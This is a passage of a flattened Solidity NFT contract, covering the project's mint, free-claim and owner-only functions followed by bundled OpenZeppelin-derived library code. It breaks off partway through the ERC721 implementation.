addressInfo[msg.sender].tokenMinted[uint256(_tokenName)] == false, "tokenMint already claimed" ); require( mintableTokens[_tokenName].tokenSupply < mintableTokens[_tokenName].MAX_TOKEN, "max tokenMint exceeded" ); mintableTokens[_tokenName].tokenSupply += uint64(_mintAmount); addressInfo[msg.sender].tokenMinted[uint256(_tokenName)] = true; } for (uint256 i = 0; i < uint256(_mintAmount); i++) { _safeMint(msg.sender, supply + i); } } // TokenName: BAMBOO, PIXL, ROOLAH, SEED, STAR function mintWithToken(TokenName _tokenName) public reentryLock { require( MerkleRoot > 0x00 && saleState > SaleState.Paused, "token mint not open!" ); uint256 supply = totalSupply(); require(supply < MAX_PXLAMB, "max supply exceeded"); require( mintableTokens[_tokenName].tokenSupply < mintableTokens[_tokenName].MAX_TOKEN, "max tokenMint exceeded" ); require( addressInfo[msg.sender].tokenMinted[uint256(_tokenName)] == false, "tokenMint already claimed" ); require(_tokenName < TokenName.LAMEX, "invalid ERC20"); bool success = mintableTokens[_tokenName].Contract.transferFrom( msg.sender, tokenDeposit, mintableTokens[_tokenName].Cost ); require(success, "token transfer failed"); mintableTokens[_tokenName].tokenSupply += 1; addressInfo[msg.sender].tokenMinted[uint256(_tokenName)] = true; _safeMint(msg.sender, supply); } function mintFreeClaim( bytes32[] memory _proof, bytes2 _maxAmountKey, uint256 _mintAmount ) public reentryLock { require( MerkleRoot > 0x00 && saleState > SaleState.Paused, "free claim period not open!" ); uint256 supply = totalSupply(); require(supply + _mintAmount < MAX_PXLAMB + 1, "max supply exceeded"); uint256 portalSupply = supply - portalsIDs.length; require( portalSupply + _mintAmount < MAX_PXPORTALS + 1, "max portals exceeded" ); require( MerkleProof.verify( _proof, MerkleRoot, keccak256(abi.encodePacked(msg.sender, _maxAmountKey)) ), "invalid proof-key combo" ); uint8 allowed = uint8(bytes1(_maxAmountKey)); require( addressInfo[msg.sender].ownerFreeClaims + _mintAmount < allowed + 1, "max allowed claims exceeded" ); require( addressInfo[msg.sender].ownerFreeClaims + _mintAmount < MAX_FREECLAIM + 1, "max free claims exceeded" ); require( LambContract.balanceOf(msg.sender) >= 3 * (_mintAmount + addressInfo[msg.sender].ownerFreeClaims), "insuffient OG Lamb balance" ); addressInfo[msg.sender].ownerFreeClaims += uint64(_mintAmount); portalSupply += uint64(_mintAmount); for (uint256 i = 0; i < uint256(_mintAmount); i++) { portalsIDs.push(uint16(supply + i)); _safeMint(msg.sender, supply + i); } } function checkProofWithKey(bytes32[] memory proof, bytes memory key) public view returns (bool) { return MerkleProof.verify( proof, MerkleRoot, keccak256(abi.encodePacked(msg.sender, key)) ); } function isApprovedForAll(address _owner, address operator) public view override(ERC721, IERC721) returns (bool) { MarketplaceProxyRegistry proxyRegistry = MarketplaceProxyRegistry( proxyRegistryAddress ); if ( address(proxyRegistry.proxies(_owner)) == operator || addressInfo[operator].projectProxy ) return true; return super.isApprovedForAll(_owner, operator); } function getTokensMinted(address _sender) public view returns (bool[7] memory) { return addressInfo[_sender].tokenMinted; } function getPortalsIDs() public view returns (uint16[] memory) { return portalsIDs; } // ONLY OWNER FUNCTIONS function setBaseURI(string memory baseURI_) public onlyOwner { _setBaseURI(baseURI_); } function setMerkleRoot(bytes32 _MerkleRoot) public onlyOwner { MerkleRoot = _MerkleRoot; } function setSaleState(SaleState _state) public onlyOwner { saleState = _state; } function setProxyRegistry(address _proxyRegistryAddress) public onlyOwner { proxyRegistryAddress = _proxyRegistryAddress; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; (bool success, ) = address(0x6e37d65D20Ec3842358fb326A03E5E0ca47A0fa5) .call{value: balance}(""); require(success, "Transfer failed."); } function setPrice(uint256 _newPrice, uint256 _newPSPrice) public onlyOwner { pxLambPrice = _newPrice; pxPS_Price = _newPSPrice; } function setTokenConfig( TokenName _token, uint64 _MAX_TOKEN, uint128 _Cost, address _tokenAddress ) public onlyOwner { if (mintableTokens[_token].tokenSupply > 0) { require( mintableTokens[_token].tokenSupply >= _MAX_TOKEN, "supply already greater than max" ); } mintableTokens[_token].MAX_TOKEN = _MAX_TOKEN; mintableTokens[_token].Cost = _Cost; mintableTokens[_token].Contract = IERC20(_tokenAddress); } function setLambContract(address _lambOG) external onlyOwner { if (address(LambContract) != _lambOG) { LambContract = ILambDuh(_lambOG); } } function setTokenDeposit(address _tokenDeposit) public onlyOwner { tokenDeposit = _tokenDeposit; } function setProvenance(string memory _provenance) public onlyOwner { PXprovenance = _provenance; } // reserve function for team mints (giveaways & payments) function teamMint(address _to, uint256 _reserveAmount) public onlyOwner { require( _reserveAmount + teamMints < MAX_PXLAMBRESERVE + 1, "Not enough reserve left for team" ); uint256 supply = totalSupply(); teamMints = teamMints + _reserveAmount; for (uint256 i = 0; i < _reserveAmount; i++) { _safeMint(_to, supply + i); } } } contract OwnableDelegateProxy {} contract MarketplaceProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * Flattened contract dependencies for ERC721 NFT projects * @Danny_One * * * Added Merkle Proof presale list * Improved Enumerable per new best practices to save gas * * Flattened from: * MerkleProof.sol - Nuclear Nerds (2022-01-16) * ERC721Enumerable.sol - Nuclear Nerds (2022-01-04) * IERC721Enumerable.sol - Open Zeppelin (2022-01-04) * OpenZeppelin (on 2021-11-18): * IERC20.sol (2022-04-13) * ERC721.sol **significantly modified * IERC721.sol * IERC721Receiver.sol * IERC721Metadata.sol * Address.sol * Context.sol * Ownable.sol * Strings.sol * Counters.sol * ERC165.sol * IERC165.sol * nonReentrant (custom) * **/ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // OpenZeppelin Contracts v4.3.2 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // OpenZeppelin Contracts v4.3.2 (utils/introspection/ERC165.sol) /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // OpenZeppelin Contracts v4.3.2 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // OpenZeppelin Contracts v4.3.2 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.3.2 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts v4.3.2 (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // OpenZeppelin Contracts v4.3.2 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // OpenZeppelin Contracts v4.3.2 (token/ERC721/extensions/IERC721Metadata.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // OpenZeppelin Contracts v4.3.2 (token/ERC721/IERC721Receiver.sol) /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // OpenZeppelin Contracts v4.3.2 (utils/Counters.sol) /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } /** * @title nonReentrant module to prevent recursive calling of functions * @dev See https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21 * part of a flattened ERC721 dependency collection compiled by Danny_One */ abstract contract nonReentrant { bool private _reentryKey = false; modifier reentryLock() { require(!_reentryKey, "cannot reenter a locked function"); _reentryKey = true; _; _reentryKey = false; } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } // OpenZeppelin Contracts v4.3.2 (token/ERC721/ERC721.sol) /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. * * Modified from original OpenZeppelin version to improve gas performance * */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Base URI string private _baseURI; // Owner array address[] internal _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. * updated for owner array */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); uint256 _ownerBalance = 0; for (uint256 i = 0; i < _owners.length; i++) { if (_owners[i] == owner) _ownerBalance++; } return _ownerBalance; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI_ = baseURI(); return bytes(baseURI_).length > 0 ? string(abi.encodePacked(baseURI_, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function baseURI() internal view virtual returns (string memory) { return _baseURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); 